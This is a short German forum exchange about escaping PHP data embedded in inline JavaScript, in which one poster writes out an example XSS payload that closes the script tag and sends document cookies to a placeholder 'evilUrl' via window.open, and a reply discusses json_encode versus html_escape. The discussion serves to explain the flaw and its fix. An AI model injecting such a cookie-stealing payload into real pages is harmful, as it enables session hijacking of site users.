hallo
es geht um folgenden Angriffsvektor (unter der Annahme, dass $jsData in irgendeiner Form mit Daten aus User-Kontrolle bestückt ist. Z.B. (alles aus dem Kopf geschrieben):
$jsData = "\";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);";
Dann sollte bei einem reinem Code wie oben (selbst mit dem "<script><!-- "-"Trick" folgendes herauskommen:
<script> //<!-- var ROLF.jsData = "";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);"; //--> </script>
und schwupps hat man (trotz SOP und Co) seine Cookies verloren. Die Lösung besteht darin, dass die wichtigen Steuerzeichen aus dem Output entfernt werden. Im Kontext von JS in HTML sind es eben nicht nur die JS-Steuerzeichen (die man mit json_encode wegbekommt), sondern eben auch </script>. Der HTML-Kommentar hilft hier nicht wirklich, außer ich verpasse irgendwas. Daher meine Rückfrage.
Wenn der Inhalt der Variable nicht kontrolliert werden kann, dann muss sowieso encode_json angewendet werden. Das ist dir klar?
Wenn du schon encode_json anwendest, dann ist es nicht sinnvoll da serverseitig noch html_escape laufen zu lassen, sonst bekommst du ganz andere Daten als beabsichtigt.
Neu im Forum! Signaturen kann man ausblenden!